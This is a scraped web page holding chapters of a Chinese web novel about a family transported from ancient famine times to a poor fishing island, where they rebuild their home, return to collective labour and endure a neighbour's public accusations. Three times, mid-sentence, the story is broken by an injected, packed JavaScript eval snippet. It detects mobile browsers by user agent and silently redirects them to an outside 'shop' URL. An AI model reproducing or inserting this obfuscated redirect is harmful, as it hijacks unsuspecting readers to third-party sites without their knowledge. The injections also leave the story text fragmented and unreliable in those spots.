堂屋里光线昏暗,炕上几个孩子还缩在被子里。沈灵宝睡在最里头,贴着墙根,小小的身子蜷成一团,像只小猫。 王秀莲轻手轻脚地走过去,在炕沿上坐下来。 沈灵宝睡得很沉。小脸侧着,半边埋在破旧的枕头上,露出半边瘦削的脸颊。她的睫毛又长又密,像两把小扇子盖在眼睛上,鼻梁小小的,嘴唇微微抿着,呼吸又轻又匀。 睡着的时候,她脸上那些因为饥饿和害怕而生的怯意全都消失了,只剩下一张干干净净的孩子脸。两只小手放在枕头边上,一手攥着那个淡粉色的小海螺,另一手半握成拳,像在抓着什么看不见的东西。小肚子随着呼吸一起一伏的,安静得很。 王秀莲看着她,心里忽然涌上一股说不清道不明的情绪。 前世那个灵宝,也是这么安安静静地睡着,也是这么小小的、瘦瘦的,也是这么让人看一眼就心疼得喘不上气。可那个灵宝睡着睡着就发起了高烧,烧着烧着就在她怀里没了气息。 她伸出手,指尖悬在沈灵宝脸颊上方,没敢落下去,怕惊醒她。 沈灵宝在睡梦中忽然动了动,嘴角微微翘起来,像是梦见了什么好事,露出一个浅浅的笑。那笑容甜得很,甜得王秀莲眼眶一热,差点掉下泪来。她不知道闺女梦见了什么,也许是梦见了前世山里的野果子,也许是梦见了大哥编的草蚂蚱,也许是梦见了好吃的。不管是什么,能让她在梦里笑出来,就是好事。 王秀莲把手轻轻落在灵宝的头发上,慢慢地、一下一下地摸着。那些枯黄的头发在她指缝间穿过,干干的,涩涩的,扎手。 “睡吧,”她声音轻得像是怕惊着风,“睡醒了就有吃的了。” 沈灵宝像是听见了,往她手心里蹭了蹭,笑得更甜了。 王秀莲在她身边坐了好一会儿,才站起身,轻手轻脚地走出去。 堂屋外头,一家人已经围着桌子坐好了。海带蛤蜊汤热腾腾地冒着气,那碗蒸蛋放在灶台边上,用另一个碗扣着保温,谁也没动。 “灵宝还没醒?”沈大帆问。 “睡得香着呢,”王秀莲在他旁边坐下来,“让她睡吧,给她留着饭就行。” 沈大帆点了点头,端起碗来:“那就先吃吧。” 沈海生喝完汤,把碗放下,看了一眼院子里那堆海带:“娘,那些海带今天得晒上,不然要坏了。” “我知道,”王秀莲说,“吃完就弄。” 沈冬生蹲在门槛上,一边喝汤一边往外看:“爹,今天干啥?” 沈大帆把碗里的汤一口喝完,抹了抹嘴:“修院墙,补屋顶。台风天刚过,接下来还不知道有没有雨,得赶紧把房子拾掇好。海生,你带铁柱上山砍些竹子回来,粗的做椽子,细的编篱笆。冬生,你去村里转转,看看找不找得到茅草。富生,你在家把院子里那些破木板、破竹竿归拢归拢,能用的留着,不能用的劈了当柴,空了再去山上捡些柴回来。” 三个儿子齐齐应了一声。 一家人吃完早饭,各自收拾了碗筷。夏迎香把锅刷了,赵文英把桌子擦干净,佟娟儿把那堆海带搬到院子里摊开晾着。 那碗蒸蛋还稳稳当当地放在灶台边上,用碗扣着,一点没凉。这个是留给沈灵宝的。 “灵宝还没醒呢,”夏迎香往堂屋那边看了一眼,“要不要我去叫叫她?” “让她睡,”王秀莲说,“小孩子家家的,多睡会儿长身体。” 几个儿媳谁也没有异议。 在这个家里,好吃的紧着灵宝先吃,似乎是一件天经地义的事。没有人觉得不公平,没有人觉得偏心。几个孙子也习惯了,在他们还小的时候,爹和娘就告诉过他们,小姑姑年纪小,身子又弱,得让着她。 但夏迎香心里清楚,原因不止这些。 她嫁到沈家好几年了,有些事情,公婆不说,丈夫不说,可她不是瞎子。 从上一世逃荒路上开始,她就发现了一桩怪事——这个小姑子,跟别的孩子不一样。 每次家里揭不开锅的时候,灵宝总会说“那边有吃的”,然后指个方向。一开始她不信,一个两三岁的小丫头,能知道什么?可每一次,顺着她指的方向去找,总能找到东西。有时是一窝野山薯,有时是几棵野菜,有时甚至能捡到被野兽咬死的小动物。 逃荒那几年,路上凶险得很。有一回他们差点跟一伙山匪撞上,是灵宝半夜忽然哭起来,死活不肯走,闹了整整一个时辰。一家人被她闹得没法子,只好在路边歇下来。结果第二天天亮才知道,前头那条路上,山匪刚劫了一队人,要是他们没耽搁那一个时辰,正好撞上。 从那以后,全家人都明白了,这个小丫头,有点不一样。 所以有好吃的紧着她,有危险的时候听她的,不是偏心,是这条命都是她救回来的。 这些事情,公公婆婆没明说,几个丈夫也没明说,但三个儿媳妇心里都跟明镜似的。尤其是夏迎香,她嫁进来最早,经历的事情最多,心里最清楚这个小姑子,是全家人的福星。 所以那碗蒸蛋,她蒸得心甘情愿。 日头渐渐升高,堂屋里传来窸窸窣窣的声音。 沈灵宝醒了。 她坐在炕上揉眼睛,头发睡得乱糟糟的,小脸上还带着迷糊。她低头看了看手心里的小海螺,攥紧了,然后朝外头喊:“娘——” 夏迎香听见声音,抢先一步进了堂屋。她端着那碗蒸蛋,在炕沿上坐下来,笑眯眯地看着她:“灵宝醒了?饿不饿?” 沈灵宝点点头,眼睛盯着那碗黄澄澄的蛋羹,咽了咽口水。 夏迎香拿勺子舀了一小块,吹了吹,送到她嘴边:“来,张嘴。” 沈灵宝张开嘴,把蛋羹含进去,嫩滑滑的,一下子就从喉咙滑下去了。她眼睛亮了一下,又张开嘴等着。 夏迎香一勺一勺地喂她,喂得仔细,每勺都吹凉了才送过去。沈灵宝吃得小脸上都是蛋羹,腮帮子鼓鼓的,像只小仓鼠。 “大嫂,”她含含糊糊地喊了一声,“你也吃。” “大嫂吃过了,”夏迎香拿袖子给她擦了擦嘴,“这是给你留的,都吃完。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483521|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈灵宝点点头,又吃了几口,忽然停下来:“爹吃了吗?娘吃了吗?” “都吃了,”夏迎香笑了,“全家都吃了,就剩你了。快吃吧。” 沈灵宝这才放心地吃起来。她把那碗蒸蛋吃得干干净净,吃得心满意足。 夏迎香看着她吃,比自己吃了还高兴。 院子里,一家人已经开始忙活了。 沈海生从墙角翻出一把生了锈的柴刀,在石头上磨了磨,带着儿子铁柱上了后山。沈冬生空着手出了门,去村里打听茅草的事。沈富生蹲在院子里,把那堆破木板破竹竿一样一样地捡出来,该劈的劈,该码的码。 三个儿媳也没闲着。 夏迎香喂完灵宝,出来帮忙晾海带。赵文英去屋后的小溪边打了两桶水回来,把家里的锅碗瓢盆全部刷了一遍。佟娟儿翻出家里所有的衣裳,把破得厉害的挑出来,等着王秀莲来缝补。 王秀莲坐在门槛上,就着上午的日光一针一线地缝着。沈灵宝吃饱了,精神头好了不少,蹲在她脚边,安安静静地看她缝衣裳。 快到中午的时候,沈海生回来了。 他扛着一大捆竹子从山上下来,身后跟着铁柱,铁柱也扛着一小捆,父子俩汗流浃背,脸上却都带着笑。 “娘!山上果然有竹子!”沈海生把那捆竹子往地上一扔,擦了把汗,“好大一片,在山的背面,被石头挡着,不绕过去根本看不见。又粗又直,够咱们用的!” 王秀莲看了看那堆竹子,确实好,比院子里那些歪歪扭扭的竹竿强了不知道多少倍。粗的能当椽子,细的能编篱笆,连做扁担都够了。 中午的时候,沈冬生也回来了。他跑了好几家,总算从一个老渔民那里换了一捆茅草回来,用的是身体原主收藏的一根香烟换的,那老人家本来不想要,他好说歹说才把烟给了出去。 “够不够?”沈大帆问。 沈冬生看了看屋顶,又看了看那捆茅草,摇了摇头:“不够,还得再弄些。我下午再去别家问问。” 沈大帆点了点头,没说什么。 日头渐渐偏西,院子里的活计进展得不快不慢。院墙用竹竿和木板重新加固了,虽然还是歪歪扭扭的,但比之前结实了不少,推上去不晃了。屋顶补了一半,茅草不够,只能先把漏得最厉害的那几处盖上,剩下的明天再说。 沈富生把院子里乱七八糟的东西归置得整整齐齐。柴火码在灶房门口,工具挂在墙上的钉子上,破木板破竹竿分门别类地堆好。院子虽然还是破破烂烂的,但看着比昨天顺眼多了。 三个儿媳把晾晒的海带翻了一遍,又把家里里里外外打扫了一遍。灶台擦得干干净净,碗筷摆得整整齐齐,连那几件打了补丁的衣裳都叠得方方正正地码在炕头。 王秀莲缝了一天的衣裳,把几个孩子的破裤子破褂子全补好了。虽然补丁摞补丁,但至少不漏肉了。 天黑下来的时候,一家人又围坐在堂屋里吃晚饭。 今晚比昨晚丰盛些,海带汤里加了章鱼,这个张宇还是从捡回来的一个空螺壳里发现的;海螺片拌了点盐,也算个菜。 沈灵宝坐在王秀莲腿上,小口小口地喝汤,喝得认真。 窗外,海风呜呜地吹,吹得屋顶的茅草沙沙响。院墙外头,海浪拍岸的声音隐隐约约地传过来,一声一声的,像是这片海岛的心跳。 这一家子从古代逃荒路上穿越到这个陌生的年代、陌生的海岛,才第二天。 9. 邪了门了! 天刚蒙蒙亮,村里的喇叭就响了。 那喇叭挂在村口一根歪歪斜斜的电线杆子上,锈得跟个破漏斗似的,一开口就是满嘴的电流声,“滋滋啦啦”响了好一阵,才传出大队长沈德贵那口沙哑的大嗓门: “全体社员注意——全体社员注意——今天开始恢复上工!台风已经过了,各家各户都听好了,今天早上七点,准时到南湾滩头集合!海带养殖场那边要抢收,男劳力全部下海,妇女们留在岸上干活!迟到的扣工分!不来的也扣工分!听见没有——” 喇叭又“滋滋啦啦”响了几声,“啪”地断了。 沈大帆站在院子里,手里攥着那把豁了口的斧头,抬头往村口的方向看了一眼。 上工。 这个词在他脑子里转了两圈,跟原主的记忆一碰,碰出一股子说不清道不明的滋味。 原来的沈大帆是怎么上工的?三天打鱼两天晒网,头疼脑热肚子疼,什么借口都使过。别人一天挣十个工分,他挣三个都算多的。年年评工分垫底,年年倒欠生产队的口粮钱,一家子跟着他喝西北风。 沈大帆把手里的斧头放下,转身进了堂屋。 “海生,”他喊了一声,“今天跟我去上工。” 沈海生正蹲在炕沿上穿鞋,闻言抬起头:“上工?啥上工?” “就是生产队派活,”沈大帆把原主记忆里那些东西翻出来,挑着要紧的说了,“岛上的人都要去,干一天挣工分,年底分粮食。咱们家倒欠队里二百多工分,不赶紧还上,年底连口粮都领不回来。” 沈海生一听“欠二百多工分”,眉头皱得能夹死苍蝇。他前世是猎户出身,平时有啥事儿都是自己扛,最烦的就是欠人东西,一听家里倒欠这么多,蹭地就站了起来:“那还等啥?走!” 王秀莲从灶房探出头来:“当家的,早饭还没好呢!” “不吃了,”沈大帆摆摆手,“到了滩头看看有啥能垫吧的。你们在家把昨天那些海带收拾好,该晒的晒,该存的存。冬生和富生今天接着修屋顶,别闲着。” 他顿了顿,又补了一句:“灵宝要是说啥,你们记着点。” 这话说得隐晦,但王秀莲听懂了。她点了点头,把手在围裙上擦了擦,看着父子俩出了门。 院子外头,天色已经大亮了。 石螺岛的生产队大喇叭一响,整个岛就跟炸了锅似的。家家户户的门都开了,男人们扛着工具往外走,女人们扯着嗓子喊孩子,鸡飞狗跳的,热闹得很。 沈大帆和沈海生顺着门前那条坑坑洼洼的土路往南湾滩头走,一路上碰见不少村民。 那些人看见沈大帆,眼神都变了。 “哎哟喂,太阳打西边出来了?沈大帆居然出门上工了?” “可不是嘛,这懒骨头还能起这么早?我看是前儿个被何富花闹怕了,今儿出来装装样子吧。” “装啥装,就他那德行,全岛谁不知道!到了滩头不出半个时辰准溜。年年都这样,我赌他今天撑不过晌午。” “谁跟你赌?输赢都没意思,他沈大帆要是能老老实实干一天活,我头砍下来给他当凳子坐!” 说话的人嗓门不小,故意让沈大帆听见似的。 沈海生脸色一沉,脚步骤然加快,想要冲过去理论。沈大帆伸手拦住他,声音压得很低:“别理。咱干咱们的,干完打他们脸。” 沈海生深吸一口气,把那股火气压下去,闷声跟着往前走。 南湾滩头已经聚了不少人。 石螺岛不大,满打满算也就百来户人家,四五百口人。但在这穷得叮当响的海岛上,能下地干活的全算上,也就百十来个劳力。今天来的差不多有五六十号,男男女女,老老少少,站在滩头上黑压压一片。 大队长沈德贵站在一块大礁石上,手里攥着个本子,嘴里叼着根喇叭烟,脸上的褶子能夹死苍蝇。他是个四十来岁的中年人,黑瘦黑瘦的,一双眼睛精明得很,看人的时候总带着三分打量。 他看见沈大帆走过来,手里的烟差点掉地上。 沈德贵上下打量了他好几眼,眼珠子都快瞪出来了,“你……你咋来了?” 沈大帆往前走了一步,声音平淡:“来上工。” 沈德贵张了张嘴,愣是没接上话。 他跟沈大帆同姓,两个人是一个族谱上的。论辈分,沈大帆还比他长一辈,跟他爹平起平坐,他私底下得叫一声叔。可自打当上大队长后,沈德贵这声叔就再没喊过,一来是当着众人抹不开面子,二来也是心里头瞧不上这个懒汉叔。这些年沈大帆上工偷奸耍滑,他背地里没少兜着,该派的活照派,该扣的工分照扣,同族的情分早就磨得差不多了。 如今这个懒汉叔突然站在面前说要上工,什德贵一时间竟不知道该喊“叔”还是该喊“沈大帆”,张了张嘴,干脆啥也没叫。 旁边几个村干部也凑过来看稀奇。会计老李推了推鼻梁上的眼镜,小声嘀咕:“这太阳还真是打西边出来了,沈大帆居然主动来上工?不会是前儿个被何富花闹得脑子出问题了吧?” 沈德贵瞪了他一眼,低头在本子上刷刷写了几个字,抬头对沈大帆说:“行,来了就来了。今天活儿重,海带养殖场那边要抢收,台风把筏子打散了不少,得重新绑筏子、收海带。男劳力下海,妇女们在岸上分拣晾晒。你——” 他顿了顿,像是在犹豫该给沈大帆派什么活。 以前每次派活,沈大帆都是一副要死要活的样子,干不了这个干不了那个,最后只能给他派最轻的活,他还嫌累。 “你跟大部队下海吧,”沈德贵说,“绑筏子,收海带,能干多少干多少。” 这话说得客气,但语气里的不信任藏都藏不住。 沈大帆没吭声,点了点头。 沈海生也被分了活,跟沈大帆一起下海。父子俩领了两件破旧的蓑衣,说是蓑衣,其实就是两块破草毡子缝在一起的,到处是洞,挡不了多少水,两人跟着人群往海边走。 滩头上顿时热闹起来。 “哎哎哎,看见没有?沈大帆今天真来了!” “来了又咋样?你看他那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483522|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,走路都打晃,能干啥活?” “就是,就他那身板,下海不淹死就算好的了。” “我赌他撑不过一个小时,准找借口溜。” “一个小时?我赌半个小时!” 几个妇女蹲在岸上分拣海带,一边干活一边嘀嘀咕咕,眼睛时不时往海面上瞟。其中一个胖乎乎的妇人嗓门最大,正是那天何富花在跑到沈大帆家一哭二闹的时候,在海岸边第一个骂沈大帆的那个,姓马,人称马大嘴。 她旁边蹲着的瘦削婶子扯了扯她的袖子,压低声音:“行了行了,少说两句吧。前儿个何富花去闹,人家沈大帆可没怂,一家子跟换了个人似的,怪吓人的。” 马大嘴“切”了一声,唾沫星子横飞:“换啥人?懒骨头还能变成金条?我跟你说,狗改不了吃屎,沈大帆要是能老实干活,我今儿晚上就把这堆海带全吃了!” 话音刚落,海面上传来一阵吆喝声。 海带养殖场在离岸不远的海面上,一排排竹筏子用绳子连在一起,上面挂着一串串海带苗。台风刚过,不少筏子被浪打散了,绳子断了,海带漂得到处都是,乱得跟一锅粥似的。 男劳力们分成几组,有的下水捞海带,有的重新绑筏子,有的把散落的绳子接起来。海水没过大腿根,凉飕飕的,海风一吹,冻得人直打哆嗦。 沈大帆卷起裤腿下了水。 这具身体虚得很,走了几步就喘上了,膝盖以下泡在海水里,冰得骨头疼。但他咬紧了牙,一声不吭地走到最近的那排筏子跟前,伸手就去拉绳子。 旁边的几个村民本来等着看他出丑,一个个伸长了脖子往这边瞅。 沈大帆把散落的绳子捡起来,三两下就打了个结实的结。那结打得又快又稳,是前世在山里绑猎物的手法,比渔民们常用的那种死结牢靠得多。 旁边的老渔民刘大爷看了一眼,愣了一下:“这结……打得不错啊。” 沈大帆没理他,弯下腰继续干活。他把断了的绳子一根一根接起来,又把松了的筏子重新绑紧,动作又快又利索,一点不像个从来没正经干过海活的人。 沈海生更猛。他前世是猎户,力气大,身手好,下了水就跟回了家似的,在里面心行动比别人顺畅多了。别人还在犹豫水深不深,他已经蹚到最前头,一把拽住漂得最远的那捆海带,拖着往回走。海水都到他腰了,他眉头都没皱一下。 “哎哎哎,那个谁,别往那边去!那边水深!”有人喊。 沈海生头也不回:“没事儿!” 他三下五除二把那捆海带拖回来,往岸上一扔,转身又下了水。一趟、两趟、三趟……别人一趟还没跑完,他已经跑了三趟,身上湿透了,脸上全是汗,但干劲十足。 岸上的人看傻了眼。 马大嘴张着嘴,手里的海带都掉了:“这……这是沈大帆?那个懒鬼?” 瘦削婶子也愣了:“他旁边那个是他大儿子吧?以前不也是个懒得跟泥鳅似的?今儿咋跟换了个人一样?” “邪了门了……”有人嘀咕。 10. 咱就忍了? 沈德贵站在礁石上,手里的烟烧到了手指都没发觉,眼珠子一直跟着沈大帆转。 沈大帆干活不光是卖力气,他还动脑子。别人绑筏子就是随便捆两下,他绑的筏子结结实实,绳子勒得紧紧的,用力扯都扯不散。他收海带的时候也知道挑,先把那些漂远了的、容易散的先捞回来,整整齐齐地码在一起,再用绳子捆好,一趟能顶别人两趟。 干了不到一个钟头,他这边的进度已经超过了旁边两组人。 “这不对啊……”会计老李推了推眼镜,翻着工分本子,一脸不可思议,“沈大帆今天干了……抵别的汉子大半天的工作量了吧!这才一个钟头啊!” 沈德贵没说话,眼睛眯成了一条缝,不知道在想什么。 就在这时,滩头那边传来一阵骚动。 何富花来了。 她穿着一件补丁摞补丁的蓝布衫,头发用根破布条扎着,脸上的肉比前阵子又少了一圈,颧骨高高地突出来,从紧簇着的眉心和紧绷的表情就能看出她这会儿谁也别招惹。她身后跟着两个半大小子——大儿子罗大有,十一二岁;二儿子罗大壮,才七八岁。两个小子瘦得跟麻杆似的,身上挂着破衣裳,光着脚踩在沙地上,怯生生地跟在娘身后。 何富花的男人罗贵瘫在床上,家里没了劳力,她得出工挣工分,不然一家子真要喝西北风了。 沈德贵看了她一眼,在本子上记了一笔,给她派了岸上的活——分拣海带。这是妇女们干的活,工分少,一天顶多挣六七个,但也没办法,她是妇道人家身子骨弱,总不能让她下海。要是再因为上工出了毛病,这老罗家就彻底完了。 何富花没吭声,低着头走到那堆海带跟前,蹲下来就开始干活。她动作倒是麻利,手快得很,一把一把地把海带分出来,该晾的晾,该堆的堆。 但她那张嘴闲不住。 干了一会儿,她就抬起头往海面上看。沈大帆和沈海生在远处干活,离得远,看不清脸,但那身板、那动作,她认得出来。 “哼,”她啐了一口,声音不大不小,刚好旁边几个人能听见,“装模作样!干一天就想把名声洗干净?做梦!我男人瘫在床上,他倒好,在这儿装勤快给谁看?懒了这么多年了,今儿装一天就想蒙混过关?” 马大嘴凑过来,压低声音:“富花,你说这沈大帆是不是吃错药了?今儿干活可卖力了,跟换了个人似的。” “换啥人?”何富花声音一下子尖利起来,故意拔高了嗓门,恨不得整个滩头的人都听见,“他那是做贼心虚!要不是他偷懒装病,我男人能去出海?能瘫在床上?他现在装勤快,就是想糊弄大家,让大伙儿以为他是个好人!我呸!我跟你们说,这种人我见得多了,平时偷奸耍滑,现在出事了就装积极,想把自己摘干净!门儿都没有!” 她越说越来劲,手上的海带也不分了,往地上一扔,站起来叉着腰,声音越来越大:“大家可都看清楚了!那个沈大帆,害得我男人瘫了,一家子老小没着落,他自己倒在这儿挣工分挣得欢实!天底下还有没有公道了?还有没有王法了?他沈大帆要是有良心,就该把今天挣的工分全让给我家!不,不光是今天的,往后他挣的工分,都该归我家!他得养我男人一辈子!” 几个妇女面面相觑,有人低头干活不吭声,有人小声劝她少说两句,但更多的人是看热闹不嫌事大,跟着起哄。 “就是!沈大帆就该把工分让给罗家!” “对!他挣的工分应该全给何富花,算是赔的!人家男人都瘫了,他出点工分算啥?” “光干活有啥用?赔钱赔粮票才是正经!工分票、粮票、布票,一样都不能少!” “还要让他家出人伺候罗贵!凭什么何富花一个人受累?” 何富花听见有人帮腔,越发来劲了,嗓门又高了三分:“听见没有?大伙儿都看得清清楚楚!沈大帆害了人,就该赔!不光赔工分,还得赔钱!他家不是十三口人吗?人多力量大啊,轮流来伺候我男人!我男人瘫了,翻身擦洗都得人伺候,我一个人忙不过来,他们沈家得出人!” 她把袖子一撸,叉着腰,下巴往海面上一扬:“我今天就把话撂这儿了——沈大帆要是不答应,我就天天来闹!他去哪儿我就跟到哪儿!他挣工分我就跟着去,他吃饭我就坐他家门口,我就不信了,这世道还没个说理的地方!” 旁边有人小声嘀咕:“这何富花,也忒不讲理了,沈大帆又不是故意的……” 话还没说完,就被旁边的人拽了一把:“你少说两句,她家确实可怜,让她闹呗,反正不关咱们的事。” 何富花听见了,猛地转过头去,眼睛瞪得溜圆:“谁?谁说不讲理?你出来!你给我说清楚!你家男人瘫了你不急?站着说话不腰疼!”她一边说一边往人群里张望,吓得那几个妇女赶紧低下头,谁也不敢吭声了。 她越闹越来劲,想到上次去沈大帆家不仅啥都没捞着,现在家里那几个大娘婶子嫂子都怪她事多,非要拉着他们男人上门讨钱。想到这些何富花把手里的海带一扔,站起来就要往海边走:“我去找沈大帆说理去!我今天非让他把话说清楚不可!他躲在海里装看不见,我就在岸上喊,看谁耗得过谁!” “富花!富花你冷静点!”旁边的人赶紧拉住她,“大队长在这儿呢,你别闹!有啥话好好说!” “我冷静不了!”何富花挣扎着要往海边冲,“我家老罗瘫在床上动不了,我三个娃饿得嗷嗷叫,你让我冷静?沈大帆害了人倒好,躲在海里装没事人!我今天非得让他给个说法!” 何富花动静闹得太大,有人把大队长喊来,沈德贵皱着眉头走过来,脸色铁青:“何富花,你干啥?有话好好说,别闹事!这是出工的地方,不是你撒泼的地儿!” 何富花一屁股坐在沙滩上,拍着大腿就哭上了,声音又尖又利,整个滩头都听得见:“大队长啊,你可要给我做主啊!我家老罗瘫在床上,三个娃等着吃饭,我一个妇道人家,挣那几个工分够干啥的?沈大帆害了我男人,他倒好,在这儿挣工分挣得欢实!这不公平啊!他挣的工分应该全给我家!全给我!还有他家那十几口人,都得给我家干活!不然我男人谁伺候?我一个人咋伺候得过来?” 她哭得一把鼻涕一把泪,拍着大腿,两只脚在沙地上乱蹬,溅得沙子到处都是。旁边的人都不敢靠前,生怕被她赖上。 “沈大帆那个杀千刀的!”何富花一边哭一边骂,“偷懒装病害人,自己倒没事人一样!老天爷咋不长眼,咋不劈死他!我家老罗多好的人啊,一辈子老实巴交的,凭啥遭这个罪?凭啥!” 她越骂越难听,什么“断子绝孙”“不得好死”都出来了,旁边几个妇女听得直皱眉,但谁也不敢劝。 海面上干活的人都停了手,往岸上看。 沈大帆直起腰来,往岸上望了一眼。何富花坐在沙滩上撒泼打滚,周围围了一圈人,指指点点的,有的看热闹,有的交头接耳,还有几个妇女跟着起哄。 他没说话,低下头继续干活。 沈海生可忍不住了,他把手里的海带一扔,蹚着水就要往岸上走:“我去跟她说清楚——” “别去。”沈大帆一把拽住他,声音压得很低,“她就是想闹,闹得越大越好,闹得大队长没办法,只好把咱们的工分让给她。你现在去跟她吵,她就是等着你跟她吵呢,越吵她越来劲,到时候有理也变成没理了。” 沈海生咬了咬牙,脖子上的青筋都蹦出来了:“那咱就忍了?你看她骂的那些话,啥叫断子绝孙?!” “忍?”沈大帆嘴角微微翘了翘,那笑容有点冷,眼里头却没什么笑意,“谁说忍了?该干啥干啥,把活干好,比什么都强。她闹她的,咱们干咱们的,她闹有啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483523|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用?咱们都是岛上的渔民,家家户户都有男人出过海,这事儿谁是谁非大家心里都有杆秤,只是何富花闹得厉害加上她现在确实可怜,大家伙不好意思说明白而已。” 他顿了顿,又补了一句:“你记住,咱们现下只有踏踏实实地干,这个何富花不是说咱们装样子吗?咱们能装一天装两天,如果真的干了一年,那还是装样子吗?到那时候咱们一句话都不用说,大家伙自然站在咱们这边。” 沈海生深吸一口气,把火气压下去,转身又去捞海带了。但他干得更猛了,跟泄愤似的,一趟接一趟,连口水都没喝,扛海带的时候一个人顶两个人,扛起来就跑,恨不得把全身的力气都使出来。 岸上,沈德贵把何富花从地上拉起来,脸色铁青:“何富花,你再闹我就扣你工分了!你男人出事,是台风,是天灾!大队里该照顾的会照顾,你想要沈大帆赔钱赔票,这个咱们可以坐下来好好商量,该赔多少就多少,咱们定下具体的数!但你不能这么闹!沈大帆今天干活干得好好的,你凭啥让人家把工分让给你?” 何富花一听要扣工分,哭声小了些,但还在抽抽搭搭地抹眼泪,嘴里却不饶人:“大队长,我不是闹……我是真没办法啊……我家老罗瘫了,三个娃等着吃饭,我一个女人家,挣那几个工分够干啥的?沈大帆他……他害了人,就该负责!这是天经地义的事!” 沈德贵被她气得直摇头:“啥子天经地义!沈大帆要是有责任,大队里会处理,该让他赔多少就赔多少。但你不能耽误别人干活!沈大帆今天表现不错,你少说两句,别给人家添堵。你耽误人家挣工分,人家以后拿啥赔你?” 何富花抽噎着蹲回去继续干活,但眼睛一直往海面上瞟,嘴里嘀嘀咕咕的,不知道在骂什么。干着干着,突然又冒出一句:“我看他能装几天!早晚露馅!” 旁边几个妇女谁也不敢接话,低着头各干各的。 马大嘴倒是想接话,被旁边的人拽了一把,使了个眼色,她才讪讪地闭了嘴。 日头渐渐升高,海面上的活干了大半。 沈大帆和沈海生父子俩,成了今天最扎眼的人。 沈大帆一个人绑了四排筏子,收了十几捆海带,干的活顶得上两个壮劳力。他那双手虽然因为常年不干活磨出了血泡,但动作一点都不慢,绑筏子、收海带、接绳子,样样干得利索。血泡磨破了,手心里红通通的一片,他拿块破布缠了缠,接着干,眉头都没皱一下。 沈海生更不用说了,他一个人扛的海带比别人两三个加起来都多,浑身湿透了,分不清是海水还是汗。前世在山里打猎的时候,一天跑几十里山路都不带喘的,这点活算什么? 旁边干活的人从一开始的看笑话,变成了看稀奇,最后变成了看热闹。 有个老把式蹲在礁石上,看了半天,忍不住跟旁边的人说:“这沈大帆,今天是真卖力气啊。你看他绑的那个筏子,比我这干了一辈子的人绑得都结实。这哪像是个懒了十几年的人?” 旁边那人撇撇嘴:“谁知道呢,兴许就是装装样子。” “装样子?”老把式摇摇头,“装样子能把手磨成那样?血都出来了还不停手?你看他那股子劲儿,跟换了魂儿似的。” “换啥魂儿,”那人嘴上虽这么说,眼睛却一直没离开沈大帆,心里头也在犯嘀咕。 岸上的妇女们也渐渐不吭声了。何富花还在嘀嘀咕咕地骂,但声音越来越小,因为她发现,没人接她的话茬了。 她抬起头往海面上看了一眼,沈大帆正扛着一大捆海带往岸上走,那捆海带大得吓人,换别人两个人抬都费劲,他一个人扛着,步子稳稳当当的。 何富花张了张嘴,想骂点啥,可一时竟找不出词儿来。 她咬了咬牙,把手里的海带狠狠摔在地上,低声骂了一句:“装!早晚有你露馅的时候!” 11. 不能算了! 收工的哨子吹响的时候,日头已经偏西了。海面上泛着金红色的光,把那些扛着海带往回走的人都镀上了一层边。 沈大帆和沈海生走在最后面,浑身湿透,满身腥气,脚底板被礁石硌得生疼。但父子俩谁也没喊累,闷着头往回走。 沈德贵在岸上等着他们,手里攥着工分本子,老远就朝沈大帆招手:“大帆,过来一下。” 沈大帆走过去,沈德贵把他拉到一边,压低了声音:“今天你干得不错,我都看在眼里。按你今天的活计,我给你记十二个工分,跟老把式一个样。” “谢谢大队长。”沈大帆说,声音平平的,没有多高兴的样子。 沈德贵看了他一眼,犹豫了一下,又说:“何富花那边……你也别太往心里去。她家确实难,罗贵瘫了,三个娃,她自己一个人撑着。女人家嘛,嘴上不饶人,心里头苦。” 沈大帆没说话,等着他往下说。 沈德贵搓了搓手,有些为难地开口:“我想跟你商量个事儿。今天何富花闹成那样,你也看见了。她家那情况,光靠她一个人挣工分,确实揭不开锅。你要是……” “大队长,”沈大帆打断了他,“我家啥情况你也知道,十三口人,几个娃还小,总不能让我饿着家里几个娃去接济她家吧!再说,罗贵出事儿本来就跟我没关系!” 沈德贵脸上有些挂不住:“我不是让你白给……我是说,你要是能先借她点儿,等她家缓过来再还你……” “借?”沈大帆看着他,“大队长,你信不信,我今天借给她,明天她就说是该赔的,后天就该说我欠她的了。” 沈德贵张了张嘴,说不出话来。 沈大帆沉默了一会儿,忽然说:“不过你说得对,她家确实难。这样吧,大队长,我跟你借两张工分票,算我欠大队里的,从我以后的工分里扣。票你帮我给她,就说是大队里照顾的,别提我的名。” 沈德贵愣了一下,看着沈大帆,半天没反应过来。 “你……你跟我借票给她?” 